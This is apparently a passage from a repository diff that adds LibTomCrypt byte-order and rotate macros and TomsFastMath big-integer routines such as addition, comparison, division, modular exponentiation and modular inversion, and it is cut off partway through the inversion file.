do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#else /* 64-bit words then */
#define STORE32L(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32L(x, y) \
do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
#define STORE64L(x, y) \
do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
#define LOAD64L(x, y) \
do { XMEMCPY(&(x), y, 8); } while(0)
#endif /* ENDIAN_64BITWORD */
#elif defined(ENDIAN_BIG)
#define STORE32L(x, y) \
do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD32L(x, y) \
do { x = ((ulong32)((y)[3] & 255)<<24) | \
((ulong32)((y)[2] & 255)<<16) | \
((ulong32)((y)[1] & 255)<<8) | \
((ulong32)((y)[0] & 255)); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48) | \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32) | \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16) | \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#ifdef ENDIAN_32BITWORD
#define STORE32H(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY(&(x), y, 4); } while(0)
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48)| \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32)| \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16)| \
(((ulong64)((y)[6] & 255))<<8)| (((ulong64)((y)[7] & 255))); } while(0)
#else /* 64-bit words then */
#define STORE32H(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
#define STORE64H(x, y) \
do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
#define LOAD64H(x, y) \
do { XMEMCPY(&(x), y, 8); } while(0)
#endif /* ENDIAN_64BITWORD */
#endif /* ENDIAN_BIG */
#define BSWAP(x) ( ((x>>24)&0x000000FFUL) | ((x<<24)&0xFF000000UL) | \
((x>>8)&0x0000FF00UL) | ((x<<8)&0x00FF0000UL) )
/* 32-bit Rotates */
#if defined(_MSC_VER)
#define LTC_ROx_ASM
/* instrinsic rotate */
#include <stdlib.h>
#pragma intrinsic(_lrotr,_lrotl)
#define ROR(x,n) _lrotr(x,n)
#define ROL(x,n) _lrotl(x,n)
#define RORc(x,n) _lrotr(x,n)
#define ROLc(x,n) _lrotl(x,n)
#elif !defined(__STRICT_ANSI__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) && !defined(INTEL_CC) && !defined(LTC_NO_ASM)
#define LTC_ROx_ASM
static inline ulong32 ROL(ulong32 word, int i)
{
asm ("roll %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
static inline ulong32 ROR(ulong32 word, int i)
{
asm ("rorl %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
#ifndef LTC_NO_ROLC
#define ROLc(word,i) ({ \
ulong32 __ROLc_tmp = (word); \
__asm__ ("roll %2, %0" : \
"=r" (__ROLc_tmp) : \
"0" (__ROLc_tmp), \
"I" (i)); \
__ROLc_tmp; \
})
#define RORc(word,i) ({ \
ulong32 __RORc_tmp = (word); \
__asm__ ("rorl %2, %0" : \
"=r" (__RORc_tmp) : \
"0" (__RORc_tmp), \
"I" (i)); \
__RORc_tmp; \
})
#else
#define ROLc ROL
#define RORc ROR
#endif
#elif !defined(__STRICT_ANSI__) && defined(LTC_PPC32)
#define LTC_ROx_ASM
static inline ulong32 ROL(ulong32 word, int i)
{
asm ("rotlw %0,%0,%2"
:"=r" (word)
:"0" (word),"r" (i));
return word;
}
static inline ulong32 ROR(ulong32 word, int i)
{
asm ("rotlw %0,%0,%2"
:"=r" (word)
:"0" (word),"r" (32-i));
return word;
}
#ifndef LTC_NO_ROLC
static inline ulong32 ROLc(ulong32 word, const int i)
{
asm ("rotlwi %0,%0,%2"
:"=r" (word)
:"0" (word),"I" (i));
return word;
}
static inline ulong32 RORc(ulong32 word, const int i)
{
asm ("rotrwi %0,%0,%2"
:"=r" (word)
:"0" (word),"I" (i));
return word;
}
#else
#define ROLc ROL
#define RORc ROR
#endif
#else
/* rotates the hard way */
#define ROL(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define ROR(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define ROLc(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#define RORc(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
#endif
/* 64-bit Rotates */
#if !defined(__STRICT_ANSI__) && defined(__GNUC__) && defined(__x86_64__) && !defined(_WIN64) && !defined(LTC_NO_ASM)
static inline ulong64 ROL64(ulong64 word, int i)
{
asm("rolq %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
static inline ulong64 ROR64(ulong64 word, int i)
{
asm("rorq %%cl,%0"
:"=r" (word)
:"0" (word),"c" (i));
return word;
}
#ifndef LTC_NO_ROLC
#define ROL64c(word,i) ({ \
ulong64 __ROL64c_tmp = word; \
__asm__ ("rolq %2, %0" : \
"=r" (__ROL64c_tmp) : \
"0" (__ROL64c_tmp), \
"J" (i)); \
__ROL64c_tmp; \
})
#define ROR64c(word,i) ({ \
ulong64 __ROR64c_tmp = word; \
__asm__ ("rorq %2, %0" : \
"=r" (__ROR64c_tmp) : \
"0" (__ROR64c_tmp), \
"J" (i)); \
__ROR64c_tmp; \
})
#else /* LTC_NO_ROLC */
#define ROL64c ROL64
#define ROR64c ROR64
#endif
#else /* Not x86_64 */
#define ROL64(x, y) \
( (((x)<<((ulong64)(y)&63)) | \
(((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROR64(x, y) \
( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROL64c(x, y) \
( (((x)<<((ulong64)(y)&63)) | \
(((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#define ROR64c(x, y) \
( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
#endif
#ifndef MAX
#define MAX(x, y) ( ((x)>(y))?(x):(y) )
#endif
#ifndef MIN
#define MIN(x, y) ( ((x)<(y))?(x):(y) )
#endif
#ifndef LTC_UNUSED_PARAM
#define LTC_UNUSED_PARAM(x) (void)(x)
#endif
/* extract a byte portably */
#ifdef _MSC_VER
#define byte(x, n) ((unsigned char)((x) >> (8 * (n))))
#else
#define byte(x, n) (((x) >> (8 * (n))) & 255)
#endif
/* there is no snprintf before Visual C++ 2015 */
#if defined(_MSC_VER) && _MSC_VER < 1900
#define snprintf _snprintf
#endif
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

39
src/crypto/tfm/fp_2expt.c Normal file
View File

@ -0,0 +1,39 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* computes a = 2**b */
void fp_2expt(fp_int *a, int b)
{
int z;
/* zero a as per default */
fp_zero (a);
if (b < 0) {
return;
}
z = b / DIGIT_BIT;
if (z >= FP_SIZE) {
return;
}
/* set the used count of where the bit will go */
a->used = z + 1;
/* put the single bit in its place */
a->dp[z] = ((fp_digit)1) << (b % DIGIT_BIT);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

43
src/crypto/tfm/fp_add.c Normal file
View File

@ -0,0 +1,43 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_add(fp_int *a, fp_int *b, fp_int *c)
{
int sa, sb;
/* get sign of both inputs */
sa = a->sign;
sb = b->sign;
/* handle two cases, not four */
if (sa == sb) {
/* both positive or both negative */
/* add their magnitudes, copy the sign */
c->sign = sa;
s_fp_add (a, b, c);
} else {
/* one positive, the other negative */
/* subtract the one with the greater magnitude from */
/* the one of the lesser magnitude. The result gets */
/* the sign of the one with the greater magnitude. */
if (fp_cmp_mag (a, b) == FP_LT) {
c->sign = sb;
s_fp_sub (b, a, c);
} else {
c->sign = sa;
s_fp_sub (a, b, c);
}
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

31
src/crypto/tfm/fp_cmp.c Normal file
View File

@ -0,0 +1,31 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
int fp_cmp(fp_int *a, fp_int *b)
{
if (a->sign == FP_NEG && b->sign == FP_ZPOS) {
return FP_LT;
} else if (a->sign == FP_ZPOS && b->sign == FP_NEG) {
return FP_GT;
} else {
/* compare digits */
if (a->sign == FP_NEG) {
/* if negative compare opposite direction */
return fp_cmp_mag(b, a);
} else {
return fp_cmp_mag(a, b);
}
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

38
src/crypto/tfm/fp_cmp_d.c Normal file
View File

@ -0,0 +1,38 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* compare against a single digit */
int fp_cmp_d(fp_int *a, fp_digit b)
{
/* compare based on sign */
if ((b && a->used == 0) || a->sign == FP_NEG) {
return FP_LT;
}
/* compare based on magnitude */
if (a->used > 1) {
return FP_GT;
}
/* compare the only digit of a to b */
if (a->dp[0] > b) {
return FP_GT;
} else if (a->dp[0] < b) {
return FP_LT;
} else {
return FP_EQ;
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,35 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
int fp_cmp_mag(fp_int *a, fp_int *b)
{
int x;
if (a->used > b->used) {
return FP_GT;
} else if (a->used < b->used) {
return FP_LT;
} else {
for (x = a->used - 1; x >= 0; x--) {
if (a->dp[x] > b->dp[x]) {
return FP_GT;
} else if (a->dp[x] < b->dp[x]) {
return FP_LT;
}
}
}
return FP_EQ;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,36 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
int fp_count_bits (fp_int * a)
{
int r;
fp_digit q;
/* shortcut */
if (a->used == 0) {
return 0;
}
/* get number of digits and add that */
r = (a->used - 1) * DIGIT_BIT;
/* take the last digit and count the bits in it */
q = a->dp[a->used - 1];
while (q > ((fp_digit) 0)) {
++r;
q >>= ((fp_digit) 1);
}
return r;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

157
src/crypto/tfm/fp_div.c Normal file
View File

@ -0,0 +1,157 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* a/b => cb + d == a */
int fp_div(fp_int *a, fp_int *b, fp_int *c, fp_int *d)
{
fp_int q, x, y, t1, t2;
int n, t, i, norm, neg;
/* is divisor zero ? */
if (fp_iszero (b) == 1) {
return FP_VAL;
}
/* if a < b then q=0, r = a */
if (fp_cmp_mag (a, b) == FP_LT) {
if (d != NULL) {
fp_copy (a, d);
}
if (c != NULL) {
fp_zero (c);
}
return FP_OKAY;
}
fp_init(&q);
q.used = a->used + 2;
fp_init(&t1);
fp_init(&t2);
fp_init_copy(&x, a);
fp_init_copy(&y, b);
/* fix the sign */
neg = (a->sign == b->sign) ? FP_ZPOS : FP_NEG;
x.sign = y.sign = FP_ZPOS;
/* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */
norm = fp_count_bits(&y) % DIGIT_BIT;
if (norm < (int)(DIGIT_BIT-1)) {
norm = (DIGIT_BIT-1) - norm;
fp_mul_2d (&x, norm, &x);
fp_mul_2d (&y, norm, &y);
} else {
norm = 0;
}
/* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */
n = x.used - 1;
t = y.used - 1;
/* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */
fp_lshd (&y, n - t); /* y = y*b**{n-t} */
while (fp_cmp (&x, &y) != FP_LT) {
++(q.dp[n - t]);
fp_sub (&x, &y, &x);
}
/* reset y by shifting it back down */
fp_rshd (&y, n - t);
/* step 3. for i from n down to (t + 1) */
for (i = n; i >= (t + 1); i--) {
if (i > x.used) {
continue;
}
/* step 3.1 if xi == yt then set q{i-t-1} to b-1,
* otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */
if (x.dp[i] == y.dp[t]) {
q.dp[i - t - 1] = ((((fp_word)1) << DIGIT_BIT) - 1);
} else {
fp_word tmp;
tmp = ((fp_word) x.dp[i]) << ((fp_word) DIGIT_BIT);
tmp |= ((fp_word) x.dp[i - 1]);
tmp /= ((fp_word) y.dp[t]);
q.dp[i - t - 1] = (fp_digit) (tmp);
}
/* while (q{i-t-1} * (yt * b + y{t-1})) >
xi * b**2 + xi-1 * b + xi-2
do q{i-t-1} -= 1;
*/
q.dp[i - t - 1] = (q.dp[i - t - 1] + 1);
do {
q.dp[i - t - 1] = (q.dp[i - t - 1] - 1);
/* find left hand */
fp_zero (&t1);
t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1];
t1.dp[1] = y.dp[t];
t1.used = 2;
fp_mul_d (&t1, q.dp[i - t - 1], &t1);
/* find right hand */
t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2];
t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1];
t2.dp[2] = x.dp[i];
t2.used = 3;
} while (fp_cmp_mag(&t1, &t2) == FP_GT);
/* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */
fp_mul_d (&y, q.dp[i - t - 1], &t1);
fp_lshd (&t1, i - t - 1);
fp_sub (&x, &t1, &x);
/* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */
if (x.sign == FP_NEG) {
fp_copy (&y, &t1);
fp_lshd (&t1, i - t - 1);
fp_add (&x, &t1, &x);
q.dp[i - t - 1] = q.dp[i - t - 1] - 1;
}
}
/* now q is the quotient and x is the remainder
* [which we have to normalize]
*/
/* get sign before writing to c */
x.sign = x.used == 0 ? FP_ZPOS : a->sign;
if (c != NULL) {
fp_clamp (&q);
fp_copy (&q, c);
c->sign = neg;
}
if (d != NULL) {
fp_div_2d (&x, norm, &x, NULL);
/* the following is a kludge, essentially we were seeing the right remainder but
with excess digits that should have been zero
*/
for (i = b->used; i < x.used; i++) {
x.dp[i] = 0;
}
fp_clamp(&x);
fp_copy (&x, d);
}
return FP_OKAY;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

53
src/crypto/tfm/fp_div_2.c Normal file
View File

@ -0,0 +1,53 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* b = a/2 */
void fp_div_2(fp_int * a, fp_int * b)
{
int x, oldused;
oldused = b->used;
b->used = a->used;
{
register fp_digit r, rr, *tmpa, *tmpb;
/* source alias */
tmpa = a->dp + b->used - 1;
/* dest alias */
tmpb = b->dp + b->used - 1;
/* carry */
r = 0;
for (x = b->used - 1; x >= 0; x--) {
/* get the carry for the next iteration */
rr = *tmpa & 1;
/* shift the current digit, add in carry and store */
*tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1));
/* forward carry to next iteration */
r = rr;
}
/* zero excess digits */
tmpb = b->dp + b->used;
for (x = b->used; x < oldused; x++) {
*tmpb++ = 0;
}
}
b->sign = a->sign;
fp_clamp (b);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,79 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a / 2**b */
void fp_div_2d(fp_int *a, int b, fp_int *c, fp_int *d)
{
fp_digit D, r, rr;
int x;
fp_int t;
/* if the shift count is <= 0 then we do no work */
if (b <= 0) {
fp_copy (a, c);
if (d != NULL) {
fp_zero (d);
}
return;
}
fp_init(&t);
/* get the remainder */
if (d != NULL) {
fp_mod_2d (a, b, &t);
}
/* copy */
fp_copy(a, c);
/* shift by as many digits in the bit count */
if (b >= (int)DIGIT_BIT) {
fp_rshd (c, b / DIGIT_BIT);
}
/* shift any bit count < DIGIT_BIT */
D = (fp_digit) (b % DIGIT_BIT);
if (D != 0) {
register fp_digit *tmpc, mask, shift;
/* mask */
mask = (((fp_digit)1) << D) - 1;
/* shift for lsb */
shift = DIGIT_BIT - D;
/* alias */
tmpc = c->dp + (c->used - 1);
/* carry */
r = 0;
for (x = c->used - 1; x >= 0; x--) {
/* get the lower bits of this word in a temp */
rr = *tmpc & mask;
/* shift the current word and mix in the carry bits from the previous word */
*tmpc = (*tmpc >> D) | (r << shift);
--tmpc;
/* set the carry to the carry bits of the current word found above */
r = rr;
}
}
fp_clamp (c);
if (d != NULL) {
fp_copy (&t, d);
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

276
src/crypto/tfm/fp_exptmod.c Normal file
View File

@ -0,0 +1,276 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
#ifdef TFM_TIMING_RESISTANT
/* timing resistant montgomery ladder based exptmod
Based on work by Marc Joye, Sung-Ming Yen, "The Montgomery Powering Ladder", Cryptographic Hardware and Embedded Systems, CHES 2002
*/
static int _fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y)
{
fp_int R[2];
fp_digit buf, mp;
int err, bitcnt, digidx, y;
/* now setup montgomery */
if ((err = fp_montgomery_setup (P, &mp)) != FP_OKAY) {
return err;
}
fp_init(&R[0]);
fp_init(&R[1]);
/* now we need R mod m */
fp_montgomery_calc_normalization (&R[0], P);
/* now set R[0][1] to G * R mod m */
if (fp_cmp_mag(P, G) != FP_GT) {
/* G > P so we reduce it first */
fp_mod(G, P, &R[1]);
} else {
fp_copy(G, &R[1]);
}
fp_mulmod (&R[1], &R[0], P, &R[1]);
/* for j = t-1 downto 0 do
r_!k = R0*R1; r_k = r_k^2
*/
/* set initial mode and bit cnt */
bitcnt = 1;
buf = 0;
digidx = X->used - 1;
for (;;) {
/* grab next digit as required */
if (--bitcnt == 0) {
/* if digidx == -1 we are out of digits so break */
if (digidx == -1) {
break;
}
/* read next digit and reset bitcnt */
buf = X->dp[digidx--];
bitcnt = (int)DIGIT_BIT;
}
/* grab the next msb from the exponent */
y = (fp_digit)(buf >> (DIGIT_BIT - 1)) & 1;
buf <<= (fp_digit)1;
/* do ops */
fp_mul(&R[0], &R[1], &R[y^1]); fp_montgomery_reduce(&R[y^1], P, mp);
fp_sqr(&R[y], &R[y]); fp_montgomery_reduce(&R[y], P, mp);
}
fp_montgomery_reduce(&R[0], P, mp);
fp_copy(&R[0], Y);
return FP_OKAY;
}
#else
/* y = g**x (mod b)
* Some restrictions... x must be positive and < b
*/
static int _fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y)
{
fp_int M[64], res;
fp_digit buf, mp;
int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize;
/* find window size */
x = fp_count_bits (X);
if (x <= 21) {
winsize = 1;
} else if (x <= 36) {
winsize = 3;
} else if (x <= 140) {
winsize = 4;
} else if (x <= 450) {
winsize = 5;
} else {
winsize = 6;
}
/* init M array */
memset(M, 0, sizeof(M));
/* now setup montgomery */
if ((err = fp_montgomery_setup (P, &mp)) != FP_OKAY) {
return err;
}
/* setup result */
fp_init(&res);
/* create M table
*
* The M table contains powers of the input base, e.g. M[x] = G^x mod P
*
* The first half of the table is not computed though accept for M[0] and M[1]
*/
/* now we need R mod m */
fp_montgomery_calc_normalization (&res, P);
/* now set M[1] to G * R mod m */
if (fp_cmp_mag(P, G) != FP_GT) {
/* G > P so we reduce it first */
fp_mod(G, P, &M[1]);
} else {
fp_copy(G, &M[1]);
}
fp_mulmod (&M[1], &res, P, &M[1]);
/* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */
fp_copy (&M[1], &M[1 << (winsize - 1)]);
for (x = 0; x < (winsize - 1); x++) {
fp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)]);
fp_montgomery_reduce (&M[1 << (winsize - 1)], P, mp);
}
/* create upper table */
for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) {
fp_mul(&M[x - 1], &M[1], &M[x]);
fp_montgomery_reduce(&M[x], P, mp);
}
/* set initial mode and bit cnt */
mode = 0;
bitcnt = 1;
buf = 0;
digidx = X->used - 1;
bitcpy = 0;
bitbuf = 0;
for (;;) {
/* grab next digit as required */
if (--bitcnt == 0) {
/* if digidx == -1 we are out of digits so break */
if (digidx == -1) {
break;
}
/* read next digit and reset bitcnt */
buf = X->dp[digidx--];
bitcnt = (int)DIGIT_BIT;
}
/* grab the next msb from the exponent */
y = (fp_digit)(buf >> (DIGIT_BIT - 1)) & 1;
buf <<= (fp_digit)1;
/* if the bit is zero and mode == 0 then we ignore it
* These represent the leading zero bits before the first 1 bit
* in the exponent. Technically this opt is not required but it
* does lower the # of trivial squaring/reductions used
*/
if (mode == 0 && y == 0) {
continue;
}
/* if the bit is zero and mode == 1 then we square */
if (mode == 1 && y == 0) {
fp_sqr(&res, &res);
fp_montgomery_reduce(&res, P, mp);
continue;
}
/* else we add it to the window */
bitbuf |= (y << (winsize - ++bitcpy));
mode = 2;
if (bitcpy == winsize) {
/* ok window is filled so square as required and multiply */
/* square first */
for (x = 0; x < winsize; x++) {
fp_sqr(&res, &res);
fp_montgomery_reduce(&res, P, mp);
}
/* then multiply */
fp_mul(&res, &M[bitbuf], &res);
fp_montgomery_reduce(&res, P, mp);
/* empty window and reset */
bitcpy = 0;
bitbuf = 0;
mode = 1;
}
}
/* if bits remain then square/multiply */
if (mode == 2 && bitcpy > 0) {
/* square then multiply if the bit is set */
for (x = 0; x < bitcpy; x++) {
fp_sqr(&res, &res);
fp_montgomery_reduce(&res, P, mp);
/* get next bit of the window */
bitbuf <<= 1;
if ((bitbuf & (1 << winsize)) != 0) {
/* then multiply */
fp_mul(&res, &M[1], &res);
fp_montgomery_reduce(&res, P, mp);
}
}
}
/* fixup result if Montgomery reduction is used
* recall that any value in a Montgomery system is
* actually multiplied by R mod n. So we have
* to reduce one more time to cancel out the factor
* of R.
*/
fp_montgomery_reduce(&res, P, mp);
/* swap res with Y */
fp_copy (&res, Y);
return FP_OKAY;
}
#endif
int fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y)
{
fp_int tmp;
int err;
#ifdef TFM_CHECK
/* prevent overflows */
if (P->used > (FP_SIZE/2)) {
return FP_VAL;
}
#endif
/* is X negative? */
if (X->sign == FP_NEG) {
/* yes, copy G and invmod it */
fp_copy(G, &tmp);
if ((err = fp_invmod(&tmp, P, &tmp)) != FP_OKAY) {
return err;
}
X->sign = FP_ZPOS;
err = _fp_exptmod(&tmp, X, P, Y);
if (X != Y) {
X->sign = FP_NEG;
}
return err;
} else {
/* Positive exponent so just exptmod */
return _fp_exptmod(G, X, P, Y);
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

207
src/crypto/tfm/fp_invmod.c Normal file
View File

@ -0,0 +1,207 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
static int fp_invmod_slow (fp_int * a, fp_int * b, fp_int * c)
{
fp_int x, y, u, v, A, B, C, D;
int res;
/* b cannot be negative */
if (b->sign == FP_NEG || fp_iszero(b) == 1) {
return FP_VAL;
}
/* init temps */
fp_init(&x); fp_init(&y);
fp_init(&u); fp_init(&v);
fp_init(&A); fp_init(&B);
fp_init(&C); fp_init(&D);
/* x = a, y = b */
if ((res = fp_mod(a, b, &x)) != FP_OKAY) {
return res;
}
fp_copy(b, &y);
/* 2. [modified] if x,y are both even then return an error! */
if (fp_iseven (&x) == 1 && fp_iseven (&y) == 1) {
return FP_VAL;
}
/* 3. u=x, v=y, A=1, B=0, C=0,D=1 */
fp_copy (&x, &u);
fp_copy (&y, &v);
fp_set (&A, 1);
fp_set (&D, 1);
top:
/* 4. while u is even do */
while (fp_iseven (&u) == 1) {
/* 4.1 u = u/2 */
fp_div_2 (&u, &u);
/* 4.2 if A or B is odd then */
if (fp_isodd (&A) == 1 || fp_isodd (&B) == 1) {
/* A = (A+y)/2, B = (B-x)/2 */
fp_add (&A, &y, &A);
fp_sub (&B, &x, &B);
}
/* A = A/2, B = B/2 */
fp_div_2 (&A, &A);
fp_div_2 (&B, &B);
}
/* 5. while v is even do */
while (fp_iseven (&v) == 1) {
/* 5.1 v = v/2 */
fp_div_2 (&v, &v);
/* 5.2 if C or D is odd then */
if (fp_isodd (&C) == 1 || fp_isodd (&D) == 1) {
/* C = (C+y)/2, D = (D-x)/2 */
fp_add (&C, &y, &C);
fp_sub (&D, &x, &D);
}
/* C = C/2, D = D/2 */
fp_div_2 (&C, &C);
fp_div_2 (&D, &D);
}
/* 6. if u >= v then */
if (fp_cmp (&u, &v) != FP_LT) {
/* u = u - v, A = A - C, B = B - D */
fp_sub (&u, &v, &u);
fp_sub (&A, &C, &A);
fp_sub (&B, &D, &B);
} else {
/* v - v - u, C = C - A, D = D - B */
fp_sub (&v, &u, &v);
fp_sub (&C, &A, &C);
fp_sub (&D, &B, &D);
}
/* if not zero goto step 4 */
if (fp_iszero (&u) == 0)
goto top;
/* now a = C, b = D, gcd == g*v */
/* if v != 1 then there is no inverse */
if (fp_cmp_d (&v, 1) != FP_EQ) {
return FP_VAL;
}
/* if its too low */
while (fp_cmp_d(&C, 0) == FP_LT) {
fp_add(&C, b, &C);
}
/* too big */
while (fp_cmp_mag(&C, b) != FP_LT) {
fp_sub(&C, b, &C);
}
/* C is now the inverse */
fp_copy(&C, c);
return FP_OKAY;
}
/* c = 1/a (mod b) for odd b only */
